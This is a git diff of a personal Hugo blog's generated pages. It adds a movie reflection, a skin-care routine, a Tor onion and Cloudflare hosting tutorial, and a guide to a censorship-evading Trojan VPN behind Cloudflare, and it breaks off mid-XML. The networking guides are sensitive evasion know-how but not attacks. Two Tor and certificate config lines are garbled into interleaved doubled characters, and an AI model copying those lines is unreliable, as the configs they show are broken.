    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/skin_routine/index.html b/public/posts/skin_routine/index.html new file mode 100644 index 0000000..0e59703 --- /dev/null +++ b/public/posts/skin_routine/index.html @@ -0,0 +1,50 @@ +Skin routine | AlipourIm journeys +

    Skin routine

    My skin routine!

    I don’t know how to answer the “why?” or “whyyyyy?” or even “whe the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    Generaly speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub a creme on your face, or gently message it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitly start going to gym and working out. +It is needed for me.

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the Cerave cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    Next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice, and is quite refreshing to apply to skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry, no rinsing is required here.

    After this I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but the Paula’s choice one is definitly good. +The thing with it is that you don’t have to message it, it’s not physical, it’s an acid. +I prefer the scrubby oness, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    I then apply my eye cream which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    The one to the last step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man if you use oil-based, you’ll get acne. +So don’t.

    I learned to use pads for applying some of these stuff, it feels cooler when using, specifically when you gently tap your face with a cotton pad! ^^

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sun screen for better protection.

    Even if it does nothing, it still makes me feel good about myself.

    The whole routine does not take more than 10 min, but gives me an energy boost, and a lot of good vibes both at night and in the morning!

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/tor_clearnet_blog/index.html b/public/posts/tor_clearnet_blog/index.html new file mode 100644 index 0000000..b8ac262 --- /dev/null +++ b/public/posts/tor_clearnet_blog/index.html @@ -0,0 +1,131 @@ +Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy.

    TL;DR — The site is built once (Hugo project), published twice:

    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.

    1) Tor hidden service (onion) basics

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    Install & configure Tor (Debian/Ubuntu):

    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    HHiiddddeennSSeerrvviicceeDPiorrtv8a0r/1l2i7b.0t.o0r.1h:i3d3d0e1n_site/

    Make sure the directory is owned by Tor’s user and private:

    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    2) Nginx for the onion (localhost-only)

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    /etc/nginx/sites-available/onion-blog:

    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).


    3) Hugo + PaperMod setup (and version bumps)

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    4) Dual builds (clearnet + onion) and one-command deploy

    I publish the same content twice—once for each base URL and docroot:

    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    //eettcc//lleettsseennccrryypptt//lliivvee//bblloogg..aalliippoouurriimmjjoouurrnneeyyss..iirr//fpurlilvckheayi.np.epmem

    Clearnet Nginx vhosts:

    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.


    6) Troubleshooting I ran into (and fixes)

    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS:
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.

    7) “Not secure” in Tor Browser?

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).


    8) Day-to-day workflow

    • Create content:
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • Publish both:
      build-both
      +
    • (Optional) Auto on save:
      find content layouts assets static config -type f | entr -r build-both
      +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.

    Final notes

    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/posts/vpn/index.html b/public/posts/vpn/index.html new file mode 100644 index 0000000..fff242e --- /dev/null +++ b/public/posts/vpn/index.html @@ -0,0 +1,53 @@ +Stealth Trojan VPN Behind Cloudflare Guide | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    We’ll anonymise domains and secrets, so substitute with your own:

    • VPN domain: web.example.com
    • Panel domain: panel.example.com
    • Secret WS path: /stealth-path_abcd1234
    • Password: <PASSWORD>

    Architecture at a Glance

    Think of it as a disguise party:

    • Trojan = the shy guest (your VPN protocol)
    • Nginx = the bouncer checking IDs (reverse proxy)
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • Your fake website = the mask (camouflage page)

    Traffic flow:

    ClientCloudflare(443)Nginx(443)Trojan(localhost:54321)

    Step 1: Panel Setup (panel.example.com)

    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • Choose a funky web base path like /panel-bananas_42/.
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • Test it at https://panel.example.com/panel-bananas_42/.

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!


    Step 2: Trojan Inbound

    In 3x-ui, create a Trojan inbound:

    • Local port: 54321
    • Transport: WebSocket
    • Path: /stealth-path_abcd1234
    • Security: none
    • Password: <PASSWORD>

    Step 3: Nginx for VPN Domain (web.example.com)

    Your Nginx is the gatekeeper. Sample config:

    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    Step 4: Firewall Rules

    Lock things down! Only Cloudflare should reach you:

    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    Step 5: Client Config

    Trojan URI:

    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN

    iOS clients: Shadowrocket, Stash, FoXray
    Android clients: v2rayNG, Clash Meta, NekoBox


    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    Symptom: 520 Unknown Error (Cloudflare)

    • Likely cause: Nginx couldn’t talk to Trojan.
    • Check Nginx error log:
      tail -n 50 /var/log/nginx/error.log
      +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.

    Symptom: 526 Invalid SSL certificate

    • Cloudflare → Nginx cert mismatch.
    • Run:
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • Make sure CN = web.example.com. If not, fix your cert.

    Symptom: Blank page on panel

    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • Watch for sneaky trailing spaces!
    • Test locally:
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +

    Symptom: Client won’t connect

    • Run a WebSocket test:
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.

    Symptom: Censor still blocks you

    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      → They’ll find your origin IP. Use a second VPS or lock those ports down.
    • Did you use an obvious path like /ws?
      → Use a random-looking one like /cdn-assets-329df/.

    Pro Tips & Fun Tricks

    • Serve a fake blog or portfolio at root so your domain looks legit.
    • Rotate WebSocket paths occasionally.
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.

    Conclusion

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    • Looks like normal HTTPS.
    • Hides your origin IP.
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 0000000..3e906b2 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1,3 @@ +User-agent: * +Disallow: +Sitemap: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sitemap.xml diff --git a/public/sitemap.xml b/public/sitemap.xml new file mode 100644 index 0000000..8fd4e0d --- /dev/null +++ b/public/sitemap.xml @@ -0,0 +1 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/2025-10-31T08:40:43+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/2025-10-31T08:40:43+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/2025-10-23T19:31:12+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/2025-10-20T18:47:04+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/2025-10-17T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/2025-10-13T08:52:10+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/2025-10-10T07:04:54+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/2025-10-05T08:03:31+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/2025-09-30T09:48:21+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/games/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/homelab/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/2025-09-29T09:06:29+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/2025-09-19T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/guides/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/2025-09-09T11:05:00+02:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/augest_2025/2025-08-31T07:49:24+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/2025-08-29T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/2025-08-29T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/2025-08-29T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/2025-08-26T00:00:00+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/2025-08-25T08:53:38+00:00http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/about/ \ No newline at end of file diff --git a/public/tags/3x-ui/index.html b/public/tags/3x-ui/index.html new file mode 100644 index 0000000..2f775b1 --- /dev/null +++ b/public/tags/3x-ui/index.html @@ -0,0 +1,14 @@ +3x-Ui | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/3x-ui/index.xml b/public/tags/3x-ui/index.xml new file mode 100644 index 0000000..2ba41b4 --- /dev/null +++ b/public/tags/3x-ui/index.xml @@ -0,0 +1,377 @@ +3x-Ui on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/Recent content in 3x-Ui on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging 